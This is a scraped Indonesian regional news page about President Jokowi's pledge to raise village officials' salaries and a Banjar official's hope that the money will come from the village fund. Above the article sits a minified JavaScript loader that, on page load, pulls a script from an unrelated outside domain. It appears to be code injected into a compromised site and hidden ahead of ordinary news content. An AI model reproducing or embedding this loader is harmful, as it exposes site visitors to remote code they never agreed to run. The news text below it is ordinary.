(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Jokowi Naikan Gaji Perangkat Desa, Dinas PMD Banjar Berharap dari Dana Desa


MARTAPURA, Presiden Joko Widodo (Jokowi) berjanji akan meningkatkan kesejahteraan perangkat desa dengan menaikkan gaji setara pegawai negeri sipil (PNS) golongan II A.

“Sudah kita putuskan bahwa penghasilan tetap perangkat desa segera disetarakan dengan golongan IIA,” ujar Jokowi saat menemui Persatuan Perangkat Desa Indonesia (PPDI) di Istora Senayan, Jakarta, Senin (14/1) lalu.

Menanggapi hal tersebut, Kepala Dinas Pemberdayaan Masyarakat Desa (PMD) Kabupaten Banjar Aspihani, sangat mengapresiasi dan menyambut positif kenaikan gaji perangkat desa. Terlebih jika dana tersebut berasal dari Anggaran Pendapatan dan Belanja Negara (APBN).

“Secara umum ya menerima ada kenaikan gaji terhadap perangkat desa, Cuma lagi-lagi kemampuan, dananya diambil dari mana dulu? kalau dananya bersumber dari APBN ya oke sekali sangat-sangat mendukung sekali,” tegasnya.

Lebih jauh Aspihani mengatakan, untuk sumber dana kenaikan gaji itu harus ditegaskan dahulu dari mana asalnya. Sebelumnya ada tiga sumber keuangan desa yang masuk ke Anggaran Pendapatan Dan Belanja Desa (APBDes), diantaranya Dana Desa (DD) bersumber dari APBN, Alokasi Dana Desa (ADD) bersumber dari APBD, dan Bagi Hasil Pajak dan Retribusi Daerah (BHPRD).

“Kalau kita mengandalkan cuma dari ADD dan BHPRD, itu nanti dikhawatirkan akan defisit untuk dana gaji aparat desa, gaji mereka minimal terdiri dari 8 perangkat, seperti diantaranya Kepala Desa, Sekertaris, Kasi hingga Kaur dan Kepala Lingkungan, itu sangat berat,” jelasnya.

Aspihani mengharapkan, sumber dana untuk kenaikan gaji perangkat desa bisa diambil dari DD, mengingat yang diketahui selama ini hanya dua kegunaan dana desa tersebut, seperti pembangunan dan pemberdayaan.

“Harapan kita adalah itu harus masuk ke dana desa, untuk gaji kepala desa hingga sekarang ini sampai Rp 3 juta, memang di atas dari golongan dua namun kebawahnya masih ada, ini harapan kita,” katanya. (rendy)


Desy Arfianty

Recent Posts

Kota Banjarbaru Catat Investasi Triwulan I 2024 Senilai Rp204 Miliar

KANALKALIMANTAN.COM, BANJARBARU - Nilai investasi di Kota Banjarbaru terus mengalir dari tahun ke tahun. Setidaknya… Read More

29 menit ago

Bela Palestina, Mahasiswa-Civitas Akademika Universitas Muhammadiyah Banjarmasin Gelar Aksi

KANALKALIMANTAN.COM, BANJARMASIN - Forum Rektor Perguruan Tinggi Muhammadiyah dan Aisyiyah (FR PTMA) secara serentak menggelar… Read More

40 menit ago

Hadiri Halalbihalal Bersama Potensi Kesejahteraan Sosial, Bupati Banjar Dapat Kejutan

KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur mendapat kejutan berupa ucapan selamat ulang tahun… Read More

2 jam ago

Puluhan Calon PPK di Banjarbaru Ikuti Tes Tertulis

KANALKALIMANTAN.COM, BANJARBARU - Puluhan orang calon Panitia Pemilihan Kecamatan (PPK) untuk Pilkada 2024 di Kota… Read More

2 jam ago

Diskominfo Banjarbaru Gelar Bimtek Sistem Informasi Publik

KANALKALIMANTAN.COM, BANJARBARU - Dinas Komunikasi dan Informatika (Diskominfo) Kota Banjarbaru menggelar bimbingan teknis Sistem Informasi… Read More

3 jam ago

Helpdesk Pilkada 2024 Dibuka, Tidak Ada Paslon Perseorangan ke KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Persiapan pencalonan bakal pasangam calon (Paslon) melalui jalur dukungan perseorangan telah dibuka… Read More

6 jam ago

This website uses cookies.